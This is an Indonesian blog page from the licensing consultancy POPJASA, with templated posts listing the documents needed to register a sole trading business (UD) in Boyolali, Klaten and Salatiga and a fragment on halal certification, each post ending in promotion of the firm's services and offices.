  • Daftar alamat seluruh fasilitas produksi (termasuk gerai, dapur, gudang dan kantor pusat)
  • Melampirkan fotokopi KTP Pemilik/Direktur dan Komisaris
  • Melampirkan fotokopi KTP seluruh karyawan
  • Menyiapkan email resmi perusahaan
  • Melampirkan nomor telepon Pemilik/Direktur

JASA PENGURUSAN SERTIFIKAT MUI HALAL

Nah! Adapun jika Anda ingin tahu dimana kiranya Anda bisa mengurus pembuatan Sertifikasi MUI Halal dengan proses yang cepat dan tentunya dengan harga yang bersahabat, maka Anda bisa mempercayakan pembuatan Sertifikasi MUI Halal Anda di POPJASA!

Mengapa harus mengurus pembuatan Sertifikasi MUI Halal di POPJASA? Sebab POPJASA merupakan konsultan perizinan dan pendirian usaha yang TERBAIK dan TERPERCAYA!

POPJASA juga telah berpengalaman sejak tahun 2010 dan telah berhasil melayani lebih dari 10.000 klien di seluruh Indonesia.

Wah! Jadi sudah tidak perlu lagi ya Anda meragukan profesionalitas POPJASA, sebab POPJASA sudah terjamin 100% PROFESIONAL dan TERPERCAYA!

Jadi apalagi yang Anda tunggu? Segera urus pembuatan Sertifikasi MUI Halal Anda di POPJASA sekarang!

Alamat Kantor CABANG POPJASA:

Jl. Adi Sucipto Karangasem RT 04 RW 09, Karangasem, Laweyan, Surakarta, Jawa Tengah (Barat Kantor DRPD Surakarta)

Kontak POPJASA:

September 13, 2021

Persyaratan Pembutan UD Boyolali

Persyaratan Pembuatan UD Boyolali

Persyaratan Pembuatan UD Boyolali  — Era 2021 memang mungkin sangat layak di katakan sebagai era dimana perkembangan besar-besaran terjadi. Khususnya dalam hal bisnis.

Tidak heran karenanya, begitu banyak pelaku usaha yang mulai berlomba untuk mendirikan usaha mereka sendiri di tahun 2021 ini.

Hal ini juga yang turut di alami oleh para pelaku usaha UKM dan UMKM. Dimana kebanyakan dari mereka mulai melakukan perkembangan bisnis dengan mendirikan UD (Usaha Dagang).

Mendirikan UD memiliki banyak keuntungan, proses pendiriannya pun bisa dikatakan cukup cepat dan tidak memakan banyak waktu lama. Oleh karena itulah, para pelaku usaha UKM dan UMKM mulai berlomba untuk mengembangkan sayap bisnis mereka dengan mendirikan UD.

Lantas apakah Anda juga ingin turut serta mendirikan UD di tahun 2021 ini? Jika iya, maka perhatikan terlebih dahulu ya apa saja syarat mendirikan UD di tahun 2021 yang harus Anda ketahui!

Dokumen Pendirian UD Boyolali

  • Fotokopi KTP (Kartu Tanda Penduduk) milik pendiri UD (minimal 1 orang).
  • Fotokopi NPWP pribadi milik pendiri UD (minimal 1 orang).
  • Surat kepemilikan tempat usaha (bisa berupa sertifikat/petok D/ jual beli) jika ada lalu di fotokopi.

Baca Juga : Pengurus PT Wilayah Solo Berubah? Ini Syaratnya

Nah! Sampai sini sudah cukup paham bukan apa saja syarat yang dibutuhkan jika ingin mendirikan UD?

Jika Anda mengalami kesulitan dalam mendirikan UD atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mendirikan UD.

Mengapa Harus Mendirian UD di POPJASA?

POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien

Alamat Kantor POPJASA : 

  • Perumahan Tohudan Indah 2 Blok A3, Merten, Tohudan, Kec. Colomadu, Kabupaten Karanganyar

Kontak POPJASA :

GRATIS KONSULTASI SEPUASNYA!!!

Prosedur Pembutan UD Klaten

Prosedur Pembuatan UD Klaten

Prosedur Pembuatan UD Klaten— Era 2024 memang mungkin sangat layak di katakan sebagai era dimana perkembangan besar-besaran terjadi. Khususnya dalam hal bisnis.

Tidak heran karenanya, begitu banyak pelaku usaha yang mulai berlomba untuk mendirikan usaha mereka sendiri di tahun 2024 ini.

Hal ini juga yang turut di alami oleh para pelaku usaha UKM dan UMKM. Dimana kebanyakan dari mereka mulai melakukan perkembangan bisnis dengan mendirikan UD (Usaha Dagang).

Mendirikan UD memiliki banyak keuntungan, proses pendiriannya pun bisa dikatakan cukup cepat dan tidak memakan banyak waktu lama. Oleh karena itulah, para pelaku usaha UKM dan UMKM mulai berlomba untuk mengembangkan sayap bisnis mereka dengan mendirikan UD.

Lantas apakah Anda juga ingin turut serta mendirikan UD di tahun 2024 ini? Jika iya, maka perhatikan terlebih dahulu ya apa saja syarat mendirikan UD di tahun 2024 yang harus Anda ketahui!

Dokumen Pendirian UD Klaten

  • Fotokopi KTP (Kartu Tanda Penduduk) milik pendiri UD (minimal 1 orang).
  • Fotokopi NPWP pribadi milik pendiri UD (minimal 1 orang).
  • Surat kepemilikan tempat usaha (bisa berupa sertifikat/petok D/ jual beli) jika ada lalu di fotokopi.

Baca Juga : Pengurus PT Wilayah Solo Berubah? Ini Syaratnya

Nah! Sampai sini sudah cukup paham bukan apa saja syarat yang dibutuhkan jika ingin mendirikan UD?

Jika Anda mengalami kesulitan dalam mendirikan UD atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mendirikan UD.

Mengapa Harus Mendirian UD di POPJASA?

POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien

Alamat Kantor POPJASA : 

  • Jl. Adi Sumarmo No. 59, Nanasan, Malangjiwan, Kec. Colomadu, Kabupaten Karanganyar, Jawa Tengah 57177 

Kontak POPJASA :

 

GRATIS KONSULTASI SEPUASNYA!!!

Urus Legalitas UD Salatiga

Urus Legalitas UD Salatiga

Urus Legalitas UD Salatiga — Era 2021 memang mungkin sangat layak di katakan sebagai era dimana perkembangan besar-besaran terjadi. Khususnya dalam hal bisnis.

Tidak heran karenanya, begitu banyak pelaku usaha yang mulai berlomba untuk mendirikan usaha mereka sendiri di tahun 2021 ini.

Hal ini juga yang turut di alami oleh para pelaku usaha UKM dan UMKM. Dimana kebanyakan dari mereka mulai melakukan perkembangan bisnis dengan mendirikan UD (Usaha Dagang).

Mendirikan UD memiliki banyak keuntungan, proses pendiriannya pun bisa dikatakan cukup cepat dan tidak memakan banyak waktu lama. Oleh karena itulah, para pelaku usaha UKM dan UMKM mulai berlomba untuk mengembangkan sayap bisnis mereka dengan mendirikan UD.

Lantas apakah Anda juga ingin turut serta mendirikan UD di tahun 2021 ini? Jika iya, maka perhatikan terlebih dahulu ya apa saja syarat mendirikan UD di tahun 2021 yang harus Anda ketahui!

Dokumen Pendirian UD Salatiga

  • Fotokopi KTP (Kartu Tanda Penduduk) milik pendiri UD (minimal 1 orang).
  • Fotokopi NPWP pribadi milik pendiri UD (minimal 1 orang).
  • Surat kepemilikan tempat usaha (bisa berupa sertifikat/petok D/ jual beli) jika ada lalu di fotokopi.

Baca Juga : Pengurus PT Wilayah Solo Berubah? Ini Syaratnya

Nah! Sampai sini sudah cukup paham bukan apa saja syarat yang dibutuhkan jika ingin mendirikan UD?

Jika Anda mengalami kesulitan dalam mendirikan UD atau Anda merasa tidak memiliki banyak waktu, tenang saja. Anda tidak perlu khawatir! Karena POPJASA akan membantu Anda mendirikan UD.

Mengapa Harus Mendirian UD di POPJASA?

POPJASA merupakan konsultan perizinan dan pendirian usaha yang telah berpengalaman selama 10 tahun dan telah berhasil melayani lebih dari 10.000 klien

Alamat Kantor POPJASA : 

  • Perumahan Tohudan Indah 2 Blok A3, Merten, Tohudan, Kec. Colomadu, Kabupaten Karanganyar

Kontak POPJASA :

 

 

GRATIS KONSULTASI SEPUASNYA!!!

Older Posts »

Powered by WordPress